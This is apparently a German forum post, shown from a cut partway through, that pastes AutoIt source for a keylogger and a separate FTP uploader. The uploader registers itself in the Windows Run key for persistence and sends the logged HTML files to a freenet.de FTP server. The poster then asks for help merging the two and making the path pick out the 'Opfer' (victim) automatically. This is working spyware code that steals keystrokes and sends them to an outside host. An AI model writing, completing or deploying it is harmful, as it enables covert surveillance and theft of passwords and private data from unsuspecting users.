$CAPSLOCKTOGGLE = 1
EndIf
While _IsPressed ("14") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('1b') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>")
While _IsPressed ("1b") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('21') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>")
While _IsPressed ("21") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('22') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PG_DOWN}</i></font>")
While _IsPressed ("22") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('23') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>")
While _IsPressed ("23") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('24') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>")
While _IsPressed ("24") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('25') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>")
While _IsPressed ("25") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('26') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>")
While _IsPressed ("26") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('27') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>")
While _IsPressed ("27") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('28') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>")
While _IsPressed ("28") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2c') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PRINT}</i></font>")
While _IsPressed ("2c") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2d') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>")
While _IsPressed ("2d") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2e') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>")
While _IsPressed ("2e") = 1
Sleep(1)
WEnd
EndIf
WEnd
Func _IsPressed($hexKey)
Local $aR, $bRv
$hexKey = '0x' & $hexKey
$aR = DllCall($user32, "int", "GetAsyncKeyState", "int", $hexKey)
If $aR[0] <> 0 Then
$bRv = 1
Else
$bRv = 0
EndIf
Return $bRv
EndFunc ;==>_IsPressed
Func _LogKeyPress($what2log)
$window = WinGetTitle("")
If $window = $window2 Then
FileWrite($log, $what2log)
Else
$window2 = $window
FileWrite($log, "<br><BR>" & "<b>[" & @YEAR & "." & @MON & "." & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC & '] Window : "' & $window & '"</b><br>' & $what2log)
EndIf
EndFunc ;==>_LogKeyPress
Func Terminate()
DllClose($user32)
FileClose($log)
Exit
EndFunc ;==>Terminate
Der Versender:
; === Opties ===
; Optie variabele waarin staat in welke directories je gaat zoeken.
; Voer geen directories in zoals C:\123\ EN C:\123\456, gebruik dan alleen C:\123\
Local $opt_SearchDir[1] = ["C:\Dokumente und Einstellungen\Felix\Desktop\"] ; <== Invullen
; Optie voor file extensions.
Local $opt_FileExtensions = "*.html"
; FTP opties
Local $opt_FTP_Server = "people-ftp.freenet.de" ; <== Invullen
Local $opt_FTP_Username = "MEINNAME" ; <== Invullen
Local $opt_FTP_Password = "MEINPASSWORT" ; <== Invullen
Local $opt_FTP_Directory = "/" ; Moet met / gedaan. Moet een / aan het begin en aan het eind. Voorbeeld: /public_html/images/
; =======================
; === Hoofd programma ===
;If ( Not @Compiled ) Then
; MsgBox(0, "", "This script needs to be compiled.")
; Exit
;EndIf
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run", "UploadImageToFTP", "REG_SZ", @ScriptFullPath)
;RegDelete("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run", "UploadImageToFTP")
Global $hFtp
_Connect()
For $i = 0 to UBound($opt_SearchDir)-1
$lFile = _FileListToArrayEx($opt_SearchDir[$i],$opt_FileExtensions,True)
For $n = 1 To UBound($lFile)-1
_FTPUpload($lFile[$n])
Next
Next
_Close()
Exit
Func _Connect()
$hFtp = _FTPOpen("ManadarX")
_FTPConnect($hFtp, $opt_FTP_Server, $opt_FTP_Username, $opt_FTP_Password, 21, 1, 0x08000000)
If @error Then
MsgBox(0,"UploadToFTP", "Er kan geen verbinding worden gemaakt met de server. ")
Exit
EndIf
_FTPMakeDir($hFtp, $opt_FTP_Directory)
_FtpSetCurrentDir($hFtp, $opt_FTP_Directory)
EndFunc
Func _FTPUpload($pFile)
Local $aDrive, $aDir, $aFile, $aExt
ConsoleWrite("Uploading file " & $pFile & @CRLF)
_PathSplit($pFile,$aDrive,$aDir,$aFile,$aExt)
_FTPPutFile($hFtp, $pFile, $opt_FTP_Directory & $aFile & $aExt, 2) ;; <== Werkt dus niet
EndFunc
Func _Close()
_FTPClose($hFtp)
EndFunc
; Utility functions
Func _FileListToArrayEx($sPath, $sFilter = '*.*', $iRecurse = False)
If Not FileExists($sPath) Then Return SetError(1, 1, '')
If $sFilter = -1 Or $sFilter = Default Then $sFilter = '*.*'
;If $sExclude = -1 Or $sExclude = Default Then $sExclude = ''
;Local $aBadChar[6] = ['\', '/', ':', '>', '<', '|']
$sFilter = StringRegExpReplace($sFilter, '\s*;\s*', ';')
If StringRight($sPath, 1) <> '\' Then $sPath &= '\'
;For $iCC = 0 To 5
; If StringInStr($sFilter, $aBadChar[$iCC]) Or _
; StringInStr($sExclude, $aBadChar[$iCC]) Then Return SetError(2, 2, '')
;Next
If StringStripWS($sFilter, 8) = '' Then Return SetError(2, 2, '')
Local $oFSO = ObjCreate("Scripting.FileSystemObject"), $sTFolder
$sTFolder = $oFSO.GetSpecialFolder(2)
Local $hOutFile = @TempDir & $oFSO.GetTempName
If Not StringInStr($sFilter, ';') Then $sFilter &= ';'
Local $aSplit = StringSplit(StringStripWS($sFilter, 8), ';'), $sRead, $sHoldSplit
For $iCC = 1 To $aSplit[0]
If StringStripWS($aSplit[$iCC],8) = '' Then ContinueLoop
If StringLeft($aSplit[$iCC], 1) = '.' And _
UBound(StringSplit($aSplit[$iCC], '.')) - 2 = 1 Then $aSplit[$iCC] = '*' & $aSplit[$iCC]
$sHoldSplit &= '"' & $sPath & $aSplit[$iCC] & '" '
Next
$sHoldSplit = StringTrimRight($sHoldSplit, 1)
If $iRecurse Then
RunWait(@Comspec & ' /c dir /b /s /a ' & $sHoldSplit & ' > "' & $hOutFile & '"', '', @SW_HIDE)
Else
RunWait(@ComSpec & ' /c dir /b /a ' & $sHoldSplit & ' /o-e /od > "' & $hOutFile & '"', '', @SW_HIDE)
EndIf
$sRead &= FileRead($hOutFile)
If Not FileExists($hOutFile) Then Return SetError(4, 4, '')
FileDelete($hOutFile)
If StringStripWS($sRead, 8) = '' Then SetError(4, 4, '')
Local $aFSplit = StringSplit(StringTrimRight(StringStripCR($sRead), 1), @LF)
Local $sHold
For $iCC = 1 To $aFSplit[0]
;If $sExclude And StringLeft($aFSplit[$iCC], StringLen(StringReplace($sExclude, '*', ''))) = StringReplace($sExclude, '*', '') Then ContinueLoop
If StringInStr(FileGetAttrib($sPath & '\' & $aFSplit[$iCC]), 'd') = 0 And _
StringInStr(FileGetAttrib($aFSplit[$iCC]), 'd') = 0 Then
If StringRegExp($aFSplit[$iCC], '\w:\\') = 0 Then
$sHold &= $sPath & $aFSplit[$iCC] & Chr(1)
Else
$sHold &= $aFSplit[$iCC] & Chr(1)
EndIf
EndIf
Next
If StringTrimRight($sHold, 1) Then Return StringSplit(StringTrimRight($sHold, 1), Chr(1))
Return SetError(4, 4, '')
EndFunc
;FTP UDF, Updated By JohnMC On Sept 10th 2008
;
;A Map Of The Handle Array:
;[0]
;[1]= wininet.dll handle
;[2]= InternetOpen handle
;[3]= InternetConnect handle
;[4]= FTPFileFindFirst dll struct handle
;[5]= FtpFindFirstFile handle
;
;================================================= ==============================
;
; Function Name: _FTPOpen()
; Description: Opens an FTP session.
; Parameter(s): $s_Agent - Random name. ( like "myftp" )
; $l_AccessType - I dont got a clue what this does.
; $s_ProxyName - ProxyName.
; $s_ProxyBypass - ProxyByPasses's.
; $l_Flags - Special flags.
; Requirement(s): wininet.dll
; Return Value(s): On Success - Returns an indentifier.
; On Failure - 0 and sets @ERROR
; Author(s): Wouter van Kesteren.
;
;================================================= ==============================
Func _FTPOpen($s_Agent, $l_AccessType = 1, $s_ProxyName = '', $s_ProxyBypass = '', $l_Flags = 0)
local $handles[6]
$handles[1]=DllOpen("wininet.dll")
Local $ai_InternetOpen = DllCall($handles[1], 'long', 'InternetOpen', 'str', $s_Agent, 'long', $l_AccessType, 'str', $s_ProxyName, 'str', $s_ProxyBypass, 'long', $l_Flags)
If @error OR $ai_InternetOpen[0] = 0 Then
SetError(-1)
Return 0
EndIf
$handles[2]=$ai_InternetOpen[0]
Return $handles
EndFunc ;==> _FTPOpen()
;================================================= ==============================
;
; Function Name: _FTPConnect()
; Description: Connects to an FTP server.
; Parameter(s): $l_InternetSession - Array from _FTPOpen()
; $s_ServerName - Server name/ip.
; $s_Username - Username.
; $s_Password - Password.
; $i_ServerPort - Server port ( 0 is default (21) )
; $l_Service - I dont got a clue what this does.
; $l_Flags - Special flags.
; $l_Context - I dont got a clue what this does.
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1.
; On Failure - 0 and sets @ERROR
; Author(s): Wouter van Kesteren
;
;================================================= ==============================
Func _FTPConnect(ByRef $l_InternetSession, $s_ServerName, $s_Username, $s_Password, $i_ServerPort = 21, $l_Service = 1, $l_Flags = 0, $l_Context = 0)
Local $ai_InternetConnect = DllCall($l_InternetSession[1], 'long', 'InternetConnect', 'long', $l_InternetSession[2], 'str', $s_ServerName, 'int', $i_ServerPort, 'str', $s_Username, 'str', $s_Password, 'long', $l_Service, 'long', $l_Flags, 'long', $l_Context)
If @error OR $ai_InternetConnect[0] = 0 Then
SetError(-1)
Return 0
EndIf
$l_InternetSession[3]=$ai_InternetConnect[0]
Return 1
EndFunc ;==> _FTPConnect()
;================================================= ==============================
;
; Function Name: _FTPPutFile()
; Description: Puts an file on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_LocalFile - The local file.
; $s_RemoteFile - The remote Location for the file.
; $l_Flags - Special flags.
; $l_Context - I dont got a clue what this does.
; Requirement(s): DllCall, wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Wouter van Kesteren
;
;================================================= ==============================
Func _FTPPutFile(ByRef $l_FTPSession, $s_LocalFile, $s_RemoteFile, $l_Flags = 0, $l_Context = 0)
Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'FtpPutFile', 'long', $l_FTPSession[3], 'str', $s_LocalFile, 'str', $s_RemoteFile, 'long', $l_Flags, 'long', $l_Context)
If @error OR $ai_FTPPutFile[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPPutFile[0]
EndFunc ;==> _FTPPutFile()
;================================================= ==================================================
;
; Function Name: _FTPPutFolderContents()
; Description: Puts an folder on an FTP server. Recursivley if selected
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_LocalFolder - The local folder i.e. "c:\temp".
; $s_RemoteFolder - The remote folder i.e. '/website/home'.
; $b_RecursivePut - Recurse through sub-dirs. 0=Non recursive, 1=Recursive
; Requirement(s): wininet.dll
; Author(s): Stumpii
;
;================================================= ==================================================
Func _FTPPutFolderContents(ByRef $l_FTPSession, $s_LocalFolder, $s_RemoteFolder, $b_RecursivePut)
; Shows the filenames of all files in the current directory.
local $search = FileFindFirstFile($s_LocalFolder & "\*.*")
; Check if the search was successful
If $search = -1 Then
MsgBox(0, "Error", "No files/directories matched the search pattern")
Exit
EndIf
While 1
local $file = FileFindNextFile($search)
If @error Then ExitLoop
If StringInStr(FileGetAttrib($s_LocalFolder & "\" & $file), "D") Then
_FTPMakeDir($l_FTPSession, $s_RemoteFolder & "/" & $file)
If $b_RecursivePut Then
_FTPPutFolderContents($l_FTPSession, $s_LocalFolder & "\" & $file, $s_RemoteFolder & "/" & $file, $b_RecursivePut)
EndIf
Else
_FTPPutFile($l_FTPSession, $s_LocalFolder & "\" & $file, $s_RemoteFolder & "/" & $file, 0, 0)
EndIf
WEnd
; Close the search handle
FileClose($search)
EndFunc ;==>_FTPPutFolderContents
;================================================= ==============================
;
; Function Name: _FTPGetFoldercontents
; Description: Recursively retrieves the contents of a directory on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_RemoteDir - The directory on the server to retrieve. (Needs trailing forwardslash)
; $s_LocalDir - The Local directory to save to. (Needs trailing backslash)
; $b_RecursiveGet - Recurse through sub-dirs. 0=Non recursive (top dir only), 1=Recursive (note that this is not tru recursion)
; $s_searchfor - (UNTESTED OTHER THEN DEFAULT) What to download, must be set to default * to download subfolders currently
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): JohnMC
;
;================================================= ==============================
Func _FTPGetFolderContents(ByRef $l_FTPSession, $s_RemoteDir, $s_LocalDir, $b_RecursiveGet=1, $s_searchfor="*")
local $folderlist[1]
Local $i=0
While $i < UBound($folderlist)
Local $subpath=$folderlist[$i]
_FtpSetCurrentDir($l_FTPSession,"/" & $s_RemoteDir & $subpath)
local $FileInfo = _FtpFileFindFirst ($l_FTPSession,$s_searchfor)
while $FileInfo[0]<>0
if $FileInfo[1]=16 and $FileInfo[10] <> "." and $FileInfo[10] <> ".." And $b_RecursiveGet<>0 Then
Local $iUBound = UBound($folderlist)
ReDim $folderlist[$iUBound + 1]
$folderlist[$iUBound] = "/" & $subpath & $FileInfo[10] & "/"
elseif $FileInfo[1]=128 then
$downloadto = $s_LocalDir & stringReplace ($subpath,"/","\")
If Not FileExists($downloadto) then DirCreate($downloadto)
_FTPGetFile($l_FTPSession,$FileInfo[10],$downloadto&$FileInfo[10])
endif
$FileInfo = _FtpFileFindNext($l_FTPSession)
wend
_FTPFileFindClose($l_FTPSession)
$i+=1
WEnd
EndFunc ;==>_FTPGetFolderContents
;================================================= ==============================
;
; Function Name: _FTPGetFile()
; Description: Puts an file on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_RemoteFile - The remote file.
; $s_LocalFile - The Local Location to download to.
; $l_FailEx - If File Exists Localy 1=Fail 0=Proceed (Default) ;Fail Caused Crash For Me On My Vista Machine, changed default -JohnMC
; $l_FlagsA - Special flags & Attributes. -JohnMC
; $l_Flags - Special flags.
; $l_Context - I dont got a clue what this does.
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Dick Bronsdijk
; Updated By JohnMC To Add $l_FailEx and $l_FlagsA
;
;================================================= ==============================
Func _FTPGetFile(ByRef $l_FTPSession, $s_RemoteFile, $s_LocalFile, $l_FailEx = 0, $l_FlagsA = 0, $l_Flags = 0, $l_Context = 0)
Local $ai_FTPGetFile = DllCall($l_FTPSession[1], 'int', 'FtpGetFile', 'long', $l_FTPSession[3], 'str', $s_RemoteFile, 'str', $s_LocalFile, 'long', $l_FailEx, 'long', $l_FlagsA, 'long', $l_Flags, 'long', $l_Context)
If @error OR $ai_FTPGetFile[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPGetFile[0]
EndFunc;==> _FTPPutFile()
;================================================= ==============================
;
; Function Name: _FTPDelFile()
; Description: Delete an file from an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_RemoteFile - The remote Location for the file.
; Requirement(s): DllCall, wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Wouter van Kesteren
;
;================================================= ==============================
Func _FTPDelFile(ByRef $l_FTPSession, $s_RemoteFile)
Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'FtpDeleteFile', 'long', $l_FTPSession[3], 'str', $s_RemoteFile)
If @error OR $ai_FTPPutFile[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPPutFile[0]
EndFunc ;==> _FTPDelFile()
;================================================= ==============================
;
; Function Name: _FTPRenameFile()
; Description: Renames an file on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_Existing - The old file name.
; $s_New - The new file name.
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Wouter van Kesteren
;
;================================================= ==============================
Func _FTPRenameFile(ByRef $l_FTPSession, $s_Existing, $s_New)
Local $ai_FTPRenameFile = DllCall($l_FTPSession[1], 'int', 'FtpRenameFile', 'long', $l_FTPSession[3], 'str', $s_Existing, 'str', $s_New)
If @error OR $ai_FTPRenameFile[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPRenameFile[0]
EndFunc ;==> _FTPRenameFile()
;================================================= ==============================
;
; Function Name: _FTPMakeDir()
; Description: Makes an Directory on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_Remote - The file name to be deleted.
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Wouter van Kesteren
;
;================================================= ==============================
Func _FTPMakeDir(ByRef $l_FTPSession, $s_Remote)
Local $ai_FTPMakeDir = DllCall($l_FTPSession[1], 'int', 'FtpCreateDirectory', 'long', $l_FTPSession[3], 'str', $s_Remote)
If @error OR $ai_FTPMakeDir[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPMakeDir[0]
EndFunc ;==> _FTPMakeDir()
;================================================= ==============================
;
; Function Name: _FTPDelDir()
; Description: Delete's an Directory on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_Remote - The Directory to be deleted.
; Requirement(s): DllCall, wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Wouter van Kesteren
;
;================================================= ==============================
Func _FTPDelDir(ByRef $l_FTPSession, $s_Remote)
Local $ai_FTPDelDir = DllCall($l_FTPSession[1], 'int', 'FtpRemoveDirectory', 'long', $l_FTPSession[3], 'str', $s_Remote)
If @error OR $ai_FTPDelDir[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPDelDir[0]
EndFunc ;==> _FTPDelDir()
;================================================= ==============================
;
; Function Name: _FTPGetFileSize()
; Description: Gets the file size of a remote file
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_FileName - Remote file
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): J.o.a.c.h.i.m. d.e. K.o.n.i.n.g.
;
;================================================= ==============================
Func _FTPGetFileSize(ByRef $l_FTPSession, $s_FileName)
Local $ai_FTPGetSizeHandle = DllCall($l_FTPSession[1], 'int', 'FtpOpenFile', 'long', $l_FTPSession[3], 'str', $s_FileName, 'long', 0x80000000, 'long', 0x04000002, 'long', 0)
Local $ai_FTPGetFileSize = DllCall($l_FTPSession[1], 'int', 'FtpGetFileSize', 'long', $ai_FTPGetSizeHandle[0])
If @error OR $ai_FTPGetFileSize[0] = 0 Then
SetError(-1)
Return 0
EndIf
DllCall($l_FTPSession[1], 'int', 'InternetCloseHandle', 'str', $ai_FTPGetSizeHandle[0])
Return $ai_FTPGetFileSize[0]
EndFunc ;==> _FTPGetFileSize()
;================================================= ==============================
;
; Function Name: _FTPGetCurrentDir()
; Description: Get Current Directory on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; Requirement(s): wininet.dll
; Return Value(s): On Success - Directory Name
; On Failure - 0
; Author(s): Beast
;
;================================================= ==============================
Func _FTPGetCurrentDir(ByRef $l_FTPSession)
Local $ai_FTPGetCurrentDir = DllCall($l_FTPSession[1], 'int', 'FtpGetCurrentDirectory', 'long', $l_FTPSession[3], 'str', "", 'long_ptr', 260)
If @error OR $ai_FTPGetCurrentDir[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPGetCurrentDir[2]
EndFunc;==> _FTPGetCurrentDir()
;================================================= ==============================
;
; Function Name: _FtpSetCurrentDir()
; Description: Set Current Directory on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_Remote - The Directory to be set.
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Beast
;
;================================================= ==============================
Func _FtpSetCurrentDir(ByRef $l_FTPSession, $s_Remote)
Local $ai_FTPSetCurrentDir = DllCall($l_FTPSession[1], 'int', 'FtpSetCurrentDirectory', 'long', $l_FTPSession[3], 'str', $s_Remote)
If @error OR $ai_FTPSetCurrentDir[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_FTPSetCurrentDir[0]
EndFunc;==> _FtpSetCurrentDir()
;================================================= ==============================
;
; Function Name: _FTPFileFindFirst()
; Description: Find First File on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $s_RemoteFile - The remote file to find
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Dick Bronsdijk
;
;================================================= ==============================
Func _FTPFileFindFirst(ByRef $l_FTPSession, $s_RemoteFile, $l_Flags = 0, $l_Context = 0)
$l_FTPSession[4]=DllStructCreate("int;uint[2];uint[2];uint[2];int;int;int;int;char[256];char[14]")
if @error Then
SetError(-2)
Return ""
endif
Dim $a_FTPFileList[1]
$a_FTPFileList[0] = 0
Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'FtpFindFirstFile', 'long', $l_FTPSession[3], 'str', $s_RemoteFile, 'ptr', DllStructGetPtr($l_FTPSession[4]), 'long', $l_Flags, 'long', $l_Context)
If @error OR $ai_FTPPutFile[0] = 0 Then
SetError(-1)
Return $a_FTPFileList
EndIf
$l_FTPSession[5] = $ai_FTPPutFile[0]
$FileName = DllStructGetData($l_FTPSession[4], 9)
Dim $a_FTPFileList[12]
$a_FTPFileList[0] = 12
$a_FTPFileList[1] = DllStructGetData($l_FTPSession[4], 1) ; File Attributes
$a_FTPFileList[2] = DllStructGetData($l_FTPSession[4], 2, 1) ; Creation Time Low
$a_FTPFileList[3] = DllStructGetData($l_FTPSession[4], 2, 2) ; Creation Time High
$a_FTPFileList[4] = DllStructGetData($l_FTPSession[4], 3, 1) ; Access Time Low
$a_FTPFileList[5] = DllStructGetData($l_FTPSession[4], 3, 2) ; Access Time High
$a_FTPFileList[6] = DllStructGetData($l_FTPSession[4], 4, 1) ; Last Write Low
$a_FTPFileList[7] = DllStructGetData($l_FTPSession[4], 4, 2) ; Last Write High
$a_FTPFileList[8] = DllStructGetData($l_FTPSession[4], 5) ; File Size High
$a_FTPFileList[9] = DllStructGetData($l_FTPSession[4], 6) ; File Size Low
$a_FTPFileList[10] = DllStructGetData($l_FTPSession[4], 9) ; File Name
$a_FTPFileList[11] = DllStructGetData($l_FTPSession[4], 10) ; Altername
Return $a_FTPFileList
EndFunc;==> _FTPFileFindFirst()
;================================================= ==============================
;
; Function Name: _FTPFileFindNext()
; Description: Find Next File on an FTP server.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; $l_DllStruct -
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Dick Bronsdijk
;
;================================================= ==============================
Func _FTPFileFindNext(ByRef $l_FTPSession)
Dim $a_FTPFileList[1]
$a_FTPFileList[0] = 0
Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'InternetFindNextFile', 'long',$l_FTPSession[5], 'ptr', DllStructGetPtr($l_FTPSession[4]))
If @error OR $ai_FTPPutFile[0] = 0 Then
SetError(-1)
Return $a_FTPFileList
EndIf
Dim $a_FTPFileList[12]
$a_FTPFileList[0] = 12
$a_FTPFileList[1] = DllStructGetData($l_FTPSession[4], 1) ; File Attributes
$a_FTPFileList[2] = DllStructGetData($l_FTPSession[4], 2, 1) ; Creation Time Low
$a_FTPFileList[3] = DllStructGetData($l_FTPSession[4], 2, 2) ; Creation Time High
$a_FTPFileList[4] = DllStructGetData($l_FTPSession[4], 3, 1) ; Access Time Low
$a_FTPFileList[5] = DllStructGetData($l_FTPSession[4], 3, 2) ; Access Time High
$a_FTPFileList[6] = DllStructGetData($l_FTPSession[4], 4, 1) ; Last Write Low
$a_FTPFileList[7] = DllStructGetData($l_FTPSession[4], 4, 2) ; Last Write High
$a_FTPFileList[8] = DllStructGetData($l_FTPSession[4], 5) ; File Size High
$a_FTPFileList[9] = DllStructGetData($l_FTPSession[4], 6) ; File Size Low
$a_FTPFileList[10] = DllStructGetData($l_FTPSession[4], 9) ; File Name
$a_FTPFileList[11] = DllStructGetData($l_FTPSession[4], 10) ; Altername
Return $a_FTPFileList
EndFunc;==> _FTPFileFindNext()
;================================================= ==============================
;
; Function Name: _FTPFileFindClose()
; Description: Delete FindFile Structure.
; Parameter(s): $l_FTPSession - Array from _FTPOpen()
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Dick Bronsdijk
;
;================================================= ==============================
Func _FTPFileFindClose($l_FTPSession)
Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'InternetCloseHandle', 'long', $l_FTPSession[5])
If @error OR $ai_FTPPutFile[0] = 0 Then
SetError(-1)
Return ""
EndIf
Return $ai_FTPPutFile[0]
EndFunc;==> _FTPFileFindClose()
;================================================= ==============================
;
; Function Name: _FTPClose()
; Description: Closes the _FTPOpen session.
; Parameter(s): $l_InternetSession - Array from _FTPOpen()
; Requirement(s): wininet.dll
; Return Value(s): On Success - 1
; On Failure - 0
; Author(s): Wouter van Kesteren
;
;================================================= ==============================
Func _FTPClose($l_InternetSession)
Local $ai_InternetCloseHandle = DllCall($l_InternetSession[1], 'int', 'InternetCloseHandle', 'long', $l_InternetSession[2])
DLLClose($l_InternetSession[1])
If @error OR $ai_InternetCloseHandle[0] = 0 Then
SetError(-1)
Return 0
EndIf
Return $ai_InternetCloseHandle[0]
EndFunc ;==> _FTPClose()
Also das möchte ich iwie verbinden, keine Ahnung wie. Wäre toll wenn jmd mir helfen könnte.
Als nächstes Will ich noch das es den directory vom Opfer aussucht also nicht
$opt_SearchDir[1] = ["C:\Dokumente und Einstellungen\Felix\Desktop\"] ; <== Invullen
sondern iwas mit * oder @USERNAME
(Sorry kp..)
Danke im Vorraus